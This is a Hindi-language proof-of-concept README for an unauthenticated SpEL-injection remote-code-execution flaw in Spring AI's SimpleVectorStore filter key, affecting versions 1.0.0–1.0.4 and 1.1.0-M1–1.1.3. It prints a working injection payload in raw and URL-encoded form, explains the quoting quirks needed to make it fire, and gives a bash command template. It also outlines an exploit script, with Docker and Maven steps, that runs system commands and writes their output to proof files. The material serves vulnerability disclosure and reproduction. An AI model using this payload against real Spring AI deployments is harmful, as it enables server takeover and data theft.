
सिंपलवेक्टरस्टोर में अनएस्केप्ड फ़िल्टर कुंजी के माध्यम से SpEL इंजेक्शन रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाता है
| Artifact | प्रभावित संस्करण | फिक्स संस्करण |
|---|
| org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 |
| org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |
नोट: यह प्रोजेक्ट भेद्यता प्रजनन के लिए spring-ai-core:1.0.0 आधिकारिक संस्करण का उपयोग करता है।
फिक्स कमिट: ba9220b22383e430d5f801ce8e4fa01cf9e75f29
SimpleVectorStore.similaritySearch() विधि उपयोगकर्ता द्वारा प्रदान किए गए फ़िल्टर कुंजी नाम को बिना किसी बदलाव के SpEL टेम्पलेट में पास करती है, और StandardEvaluationContext द्वारा मूल्यांकन किया जाता है। चूंकि StandardEvaluationContext पूर्ण JVM रिफ्लेक्शन API को उजागर करता है, हमलावर इंजेक्ट कर सकता है:
T(java.lang.Runtime).getRuntime().exec(...)
फ़िल्टर कुंजी को बिना प्रमाणीकरण के ऑपरेटिंग सिस्टम कमांड निष्पादन में जोड़ना।
निम्नलिखित payload का उपयोग करें, ध्यान दें कि एक बार URL एन्कोडिंग करना आवश्यक है
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"
%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22
payload को filterKey पैरामीटर में पास करें, कैलकुलेटर सफलतापूर्वक खुल जाता है

सरल इंजेक्शन विधि सीधे प्रभावी नहीं होती — पार्सर की दो विचित्रताओं को दूर करना आवश्यक है:
एकल उद्धरण हटाना — एकल उद्धरण ' से शुरू होने वाली कुंजी को उद्धृत स्ट्रिंग माना जाता है; बाहरी उद्धरण हटा दिए जाते हैं, जिससे payload टूट जाता है।
दोहरा उद्धरण रैपर — payload को दोहरे उद्धरणों में लपेटना "..." पार्सर को बाहरी दोहरे उद्धरण हटाने का कारण बनता है, जिससे आंतरिक SpEL एक्सप्रेशन पार्सर को पास किए गए कुंजी मान #metadata['<KEY>'] के रूप में संरक्षित रहता है।
खाली मेटाडेटा कुंजी — इंजेक्टेड एक्सप्रेशन के दोनों ओर #metadata[''] का उपयोग (अपरिभाषित चर के बजाय) unknown variable SpEL त्रुटि से बचाता है, जबकि exec() को ट्रिगर करता रहता है।
गणना किया गया एक्सप्रेशन निम्न रूप लेता है:
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
HTTP प्रतिक्रिया बॉडी में EL1030E SpEL रनटाइम त्रुटि शामिल होगी:
operator ADD not supported between null and java.lang.ProcessImpl
यह त्रुटि exec() लौटने के बाद उत्पन्न होती है, जो बिना आउट-ऑफ-बैंड कॉलबैक के ऑपरेटिंग सिस्टम स्तर पर कमांड निष्पादन की पुष्टि करती है।
pip install requests)# कंटेनर बनाएं और शुरू करें
docker compose up -d --build
# लॉग देखें
docker compose logs -f
# निर्भरताएँ स्थापित करें
pip install requests
# शोषण चलाएं (ऐप शुरू होने की प्रतीक्षा करें)
python3 exploit.py --wait
# या लक्ष्य निर्दिष्ट करें
python3 exploit.py --target http://localhost:8082 --wait
| फ्लैग | डिफ़ॉल्ट | विवरण |
|---|---|---|
--target | http://localhost:8082 | असुरक्षित एप्लिकेशन का बेस URL |
--wait | बंद | लक्ष्य तैयार होने तक पोलिंग करें (docker compose up के बाद उपयोगी) |
नोट: Docker Desktop (macOS/Windows) कॉलबैक के लिए host.docker.internal का उपयोग करता है, 127.0.0.1 payload।
इस प्रूफ-ऑफ-कॉन्सेप्ट प्रवाह में पाँच क्रमिक चरण शामिल हैं:
T(java.lang.System) पढ़कर java.version इंजेक्शन बिंदु की पुष्टि करेंtouch /tmp/pwned_cve_2026_22738id // uname आउटपुट hostname को /tmp/rce_proof.txt में लिखेंdocker exec के माध्यम से प्रूफ फ़ाइल की सामग्री प्रिंट करके सत्यापित करें├── Dockerfile # Docker बिल्ड फ़ाइल
├── docker-compose.yml # Docker Compose कॉन्फ़िगरेशन
├── pom.xml # Maven प्रोजेक्ट कॉन्फ़िगरेशन
├── settings.xml # Maven सेटिंग्स (Spring रिपॉजिटरी शामिल)
├── exploit.py # शोषण स्क्रिप्ट
└── src/main/java/com/example/spelrce/
├── SpelRceLabApplication.java # Spring Boot मुख्य क्लास
├── VulnController.java # भेद्यता कंट्रोलर
├── VectorStoreConfig.java # VectorStore कॉन्फ़िगरेशन
└── DummyEmbeddingModel.java # नकली Embedding मॉडल
# प्रोजेक्ट संकलित करें
mvn clean package -DskipTests
# एप्लिकेशन चलाएं
java -jar target/spel-rce-lab-1.0.0.jar
# दूसरे टर्मिनल में शोषण चलाएं
python3 exploit.py --target http://localhost:8082